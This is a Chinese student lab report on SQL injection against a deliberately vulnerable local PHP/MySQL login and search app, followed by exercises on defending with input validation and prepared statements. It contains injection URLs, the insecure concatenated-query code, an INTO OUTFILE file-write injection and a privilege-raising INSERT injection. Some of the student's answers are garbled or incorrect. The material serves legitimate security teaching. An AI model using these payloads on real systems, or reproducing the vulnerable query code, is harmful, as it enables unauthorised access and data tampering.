信息安全实验4报告模板.docx
- 文档编号:4344156
- 上传时间:2022-11-30
- 格式:DOCX
- 页数:24
- 大小:1.20MB
信息安全实验4报告模板.docx
《信息安全实验4报告模板.docx》由会员分享,可在线阅读,更多相关《信息安全实验4报告模板.docx(24页珍藏版)》请在冰豆网上搜索。
信息安全实验4报告模板
阳光学院
计算机科学与技术系
信息安全实验报告
专业:
计算机科学与技术
年级:
2015级
组别:
1B
学号:
15100273
姓名:
邹驼玲
2017年月日
实验4数据库安全
练习一、SQL注入
【实验目的】
了解SQL注入的基本原理
掌握PHP脚本访问MySQL数据库的基本方法
掌握程序设计中避免出现SQL注入漏洞的基本方法
【实验人数】
每组1人
【系统环境】
Linux
【网络环境】
交换网络结构
【实验类型】
设计型
【实验步骤】
「注」实验步骤中涉及到的mysql数据库操作命令和php脚本源码,均在/opt/ExpNIC/HostSec-Lab/Projects目录中提供。
一.PHP访问MySQL简单实例
1.创建隶属test数据库的user表
(1)启动mysql服务
①在控制台中输入如下命令启动mysql服务。
缺省状态下root用户密码为空。
servicemysqldstart
②可通过如下命令查看mysql服务是否启动成功。
servicemysqldstatus
(2)创建user数据库表
在控制台中输入mysql,进入mysql客户端控制台(mysql>)。
①选择工作数据库test(缺少状态下,test数据库已被创建)。
usetest;
②创建user数据库表
CREATETABLEuser(useridint(11)NOTNULLAUTO_INCREMENT,usernamevarchar(20)NOTNULLDEFAULT"",passwordvarchar(20)NOTNULLDEFAULT"",PRIMARYKEY(userid))TYPE=MyISAMAUTO_INCREMENT=3;
③插入两条数据信息
INSERTINTOuserVALUES(1,"angel","mypass");
INSERTINTOuserVALUES(2,"lblis","yourpass");
④查看数据库表
select*fromuser;
2.编写PHP脚本查询user数据库表
编写access.php脚本,内容如下:
php
$servername="localhost"#定义变量MySQL服务器名称
$dbusername="root";#访问MySQL数据库的用户名称
$dbpassword="";#root用户密码,默认为空
$dbname="test";#工作数据库
$username=$_GET['username'];#利用HTTP的GET方法,从URL中获取username参数值
$password=$_GET['password'];#获取password参数值
##连接到MySQL服务器
$dbcnx=mysql_connect($servername,$dbusername,$dbpassword);
{
if(!
$dbcnx)
{
echo("连接MySQL服务器失败".mysql_error());
exit();
}}
##选择工作数据库
if(!
mysql_select_db($dbname,$dbcnx))
{
echo("激活$dbname数据库失败".mysql_error());
exit();
}
##SQL查询
$sql_select="SELECT*FROMuserWHEREusername='$username'ANDpassword='$password'";
$result=mysql_query($sql_select,$dbcnx);
$userinfo=mysql_fetch_array($result);
if(empty($userinfo))
{
echo("登录失败");
}
else
{
echo("登录成功");
}
echo"
SQL查询:
$sql_select
";
?
>
从代码中可知,当输入正确的用户名和密码后,就会提示登录成功,否则登录失败。
单击桌面控制面板中“Web浏览器”按钮,当我们在URL地址栏中提交:
http:
//本机IP/access.php?
username=angel&password=mypass
Web页面会提示“登录成功”。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’ANDpassword=’mypass’
3.实施SQL注入
(1)在URL地址栏中提交:
http:
//本机IP/access.php?
username=angel'or1=1
注入是否成功?
否。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’or1=1’ANDpassword=”
(2)在URL地址栏中提交:
http:
//本机IP/access.php?
username=angel'or'1=1
注入是否成功?
是。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’or‘1=1’ANDpassword=”
通过分析SQL查询语句解释实验现象:
username=’angel’or1=1’是不合法的,username=’angel’or‘1=1’是合法的用户,名注入,且任何数或上1都为1,所以成功。
(3)在URL地址栏中提交:
http:
//本机IP/access.php?
username=angel'%23
注入是否成功?
是。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’#’ANDpassword=”
此处利用了MySQL支持“#”注释格式的特性,在提交的时候会将#后面的语句注释掉。
由于编码问题,在多数Web浏览器URL地址栏里直接提交#会变成空,所以这里使用了字符“#”的ASCII码值0x23。
(4)Mysql还支持“/*”注释格式,请写出利用“/*”实现注入的URL,以及此时的SQL查询语句。
SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’*’ANDpassword=”
URL:
http:
//172.16.0.179/access.php?
username=angle’%2F%2A
(5)步骤
(2)通过向username注入逻辑or运算,在只需知晓用户名的情况下便可成功登录。
下面请设计单独向password注入逻辑运算(可多个),要求在只需知晓用户名的情况下实现登录:
SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’or1=1’ANDpassword=”
URL:
http:
//172.16.0.179/access.php?
username=angle’%20or%201=1
(6)下面请设计SQL查询语句,要求在不需要知晓用户名和密码的情况下实现登录。
提示:
通过猜测用户ID字段名称与用户序列号,结合逻辑运算,向password进行注入。
SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’or‘1=1’ANDpassword=”
URL:
http:
//172.16.0.179/access.php?
username=angle’%20or%20’1=1
二.搜索引擎注入
值得注意的是,Internet上有许多的PHP程序搜索引擎是存在问题的,也就是提交特殊字符就可以显示所有记录,包括不符合条件的。
1.创建隶属test数据库的file表
(1)创建file数据库表
file数据库表结构如下:
CREATETABLEfile
(
fileidint(11)NOTNULLAUTO_INCREMENT,
titlevarchar(20)NOTNULLDEFAULT"",
authorvarchar(20)NOTNULLDEFAULT"",
summaryvarchar(1024)NOTNULLDEFAULT"",
PRIMARYKEY(fileid)
)
TYPE=MyISAMAUTO_INCREMENT=3;
(2)插入四条数据信息
title
author
summary
honeypotpaper
honeypotandhoneynet
snortpaper
snortintrusiondetection
snortbasednetwork
ppi
anothersnortpaper
iptables+snort
noname
intelligenceids
2.编写HTML页面
通过HTML页面提交表单给服务器端PHP脚本,由PHP根据表单索引关键字对MySQL数据库进行查询,最后将查询结果返回给HTML页面。
HTML页面代码如下:
HTML页面如图所示:
3.编写PHP脚本查询file数据库表
php
$key=$_POST['key'];#从html表单中提取变量值
?
>
文档搜索引擎
php>
echo"搜索关键字:
$key
";
echo"文档搜索时间:
$key
";
echodate("H:
i,jSF
");
echo"搜索结果:
";
$servername="localhost";
$dbusername="root";
$dbpassword="";
$dbname="test";
$tablename="";
$result=mysql_connect($servername,$dbusername,$dbpassword);
if(!
$result){
echo("连接mysql服务器失败");
exit();
}
if(!
empty($key)){
$sql_select="SELECT*FROMfileWHEREtitleLIKE'%$key%'";#模糊查询title中含有指定关键字的记录,其中%符号表示通配,这里前、后均通配
$result=mysql_db_query($dbname,$sql_select);
if(empty($result)){
echo"error";
exit();
}
$total=mysql_num_rows($result);
if($total<=0)
echo"
The$keywasnotfoundinalltherecord
";
else{
while($file=mysql_fetch_array($result))
echo("
");
echo("摘要:
".htmlspecialchars($file[summary]));
}
else{
echo("请输入查询关键字.
");
}
exit();
?
>
输入关键字“snort”,进行搜索,搜索结果中含有多少条记录?
3。
记录中是否包含与snort关键字无关的项无。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FORMfileWHEREtitleLIKE‘%$snort%’”;
4.SQL注入
(1)利用PHP脚本没有对关键字变量进行检查的漏洞进入SQL注入。
输入关键字“%”,进行搜索,搜索结果中含有多少条记录?
4。
记录中是否包含与snort关键字无关的项2个分别为:
honeypotpater和iptables+snort。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FORMfileWHEREtitleLIKE‘%$%%’”;
解释SQL查询语句含义:
搜索表,并对file表搜索关键字“%”的数据
(2)输入关键字“_’ORDERBYfileid#”
「说明」“_”字符表示单字符通配,n个“_”字符则表示n字符通配。
“ORDERBYfileid”表示按特定顺序进行SQL查询。
若fileid为整型字段,则按整数大小(由小到大)顺序进行查询;若fileid为字符数组类型字段,则按字符ASCII码(由前到后)顺序进行查询。
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FORMfileWHEREtitleLIKE‘%$_’ORDERBYfileid#%’”;
解释SQL查询语句含义:
搜索表,并对file表搜索关键字“_’ORDERBYfileid#’”的数据
三.注入实现导出文件
本实验步骤仅为说明由于SQL注入而给服务器系统带来一定程度上的危害。
在步骤一中,我们使用用户名,在无需知晓用户密码的情况下,通过SQL注入实现了登录。
作为进一步操作,我们可以通过SQL注入来向服务器硬盘中写入大量无用的文件,而这是利用了MySQL的“INTOOUTFILE”命令,其查询方法如下:
SELECT*FROMuserWHEREcondINTOOUTFILE'/etc/temp.txt';
上述SQL查询语句会将user数据库表中,满足cond条件的记录以INTOOUTFILE标准格式导出到/etc/temp.txt文件中。
而信息能够被成功导出到/etc/temp.txt中的条件是目标目录有可写的权限和目标文件不存在。
基于步骤一,写出能够实现(SQL注入)上述功能的URL:
http:
//172.16.0.56/access.php?
username=angel&passname=mypass’INTOOUTFILE’/etc/temp.txt
写出此时PHP脚本中具体的SQL查询语句:
SELECT*FROMuserWHEREusername=’angel’AND‘passname=mypass’http:
//172.16.0.56/access.php?
username=angel&passname=mypass’INTOOUTFILE’/etc/temp.txt’
四.通过注入提升用户权限
如果大家认为SQL注入仅仅适用于SELECT语句就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句。
(1)创建隶属test数据库的register表
切换至/opt/ExpNIC/HostSec-Lab/Projects/step4/目录,执行脚本
create_table_register创建register数据库表。
写出数据表包含的字段名称:
Userid、username、password、homepage、userlevel
(2)注册用户
将/opt/ExpNIC/HostSec-Lab/Projects/step4/目录中的register.htm和register.php文件拷贝至/var/www/html目录下。
在Web浏览器URL地址栏中访问register.htm页面。
填写“用户名”、“用户口令”和“个人主页”信息,单击“注册”按钮,进行注册。
注册用户级别(userlevel)3。
//截图,注册成功的图,图里面需要包含地址栏
(3)SQL注入提升注册用户权限
返回到register.htm页面,按如下方法填写“个人主页”信息。
','1')#
单击“注册”按钮,用户注册级别1。
写出此时PHP脚本中具体的SQL查询语句:
INSEERTINTOregisterVALUES(0,’zoutuoling’,’123456’,’’,’1’)#’,3)
【思考问题】
1.SQL注入漏洞产生的原因是什么?
练习二、防范SQL注入
【实验目的】
了解防范SQL注入的方法
学会利用合法性校验防范SQL注入
学会利用preparedstatement执行SQL查询
【实验人数】
每组1人
【系统环境】
Linux
【网络环境】
交换网络结构
【实验工具】
--
【实验类型】
设计型
【实验步骤】
一.客户端进行合法性校验
进行实验之前首先启动MySQL服务,命令如下:
servicemysqldstart
(1)单击工具栏“控制台”按钮,进入实验目录。
login是存在SQL注入漏洞的Web应用程序。
复制login.htm和login.php文件到/var/www/html/目录(Web服务文档主目录)。
(2)使用Web浏览器浏览login.htm,在URL地址栏中输入如下信息:
http:
//本机IP地址/login.htm
进入“注册会员登录”页面,用户名:
hello,密码:
hellopass,确定登录成功。
(3)注入攻击
返回login.htm登录界面,输入用户名:
hello'or'1=1,密码任意,尝试登录。
由于login.htm没有对“用户名”、“密码”输入数据的合法性进行验证,从而导致了SQL被注入。
(4)编辑/var/www/html/login.htm文件,利用JavaScript对用户输入数据进行合法性验证,限制用户输入“'”(单引号)、、“"”(双引号)、“-”、“=”、“;”、“>”、“<”、“/”、“%”特殊字符及SQL关键字。
(5)加入合法性校验后,尝试基于login.htm进行SQL注入攻击。
(6)加入合法性校验后,尝试基于URL进行SQL注入攻击。
直接在URL链接中输入http:
//虚拟主机地址/login.php?
username=hello’or’1=1。
二.服务器进行合法性校验
(1)复制并重命名实验目录login.htm和login.php文件至/var/www/html/login2.htm和login2.php。
(2)编辑/var/www/html/login2.php文件,利用PHP脚本对用户输入数据进行合法性验证,限制用户输入“'”(单引号)、“"”(双引号)、“-”、“=”、“;”、“>”、“<”、“/”、“%”特殊字符及SQL关键字。
(3)加入合法性校验后,尝试基于login.htm进行SQL注入攻击。
(4)加入合法性校验后,尝试基于URL进行SQL注入攻击。
直接在URL链接中输入http:
//虚拟主机地址/login.php?
username=hello’or’1=1。
三.预处理执行SQL查询
(1)复制并重命名实验目录login.htm和login.php文件至/var/www/html/login3.htm和login3.php。
(2)编辑/var/www/html/login3.php文件,重写PHP访问MySQL数据库部分,利用preparedstatement实现SQL查询。
(3)尝试进行各种SQL注入攻击。
实验心得
关于本实验我最大的感触是,在操作上有很大的困难,老师讲解后能够知道如何操作,但是整个实验,时间往往是浪费在操作过程上。
另外,这个实验虚拟机用的是linux系统,因此与windows系统不能直接移动文件,要通过虚拟机里的windows系统才能把文件移进去,这也运用了计算机的IP地址,IP地址在整个实验过程起到至关重要的作用,一旦IP地址出错就无法访问本机,也就导致无法执行相应操作。
实验评价
点评:
1、实验操作
2、报告内容
3、课后思考题
4、课堂表现
总评
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 信息 安全 实验 报告 模板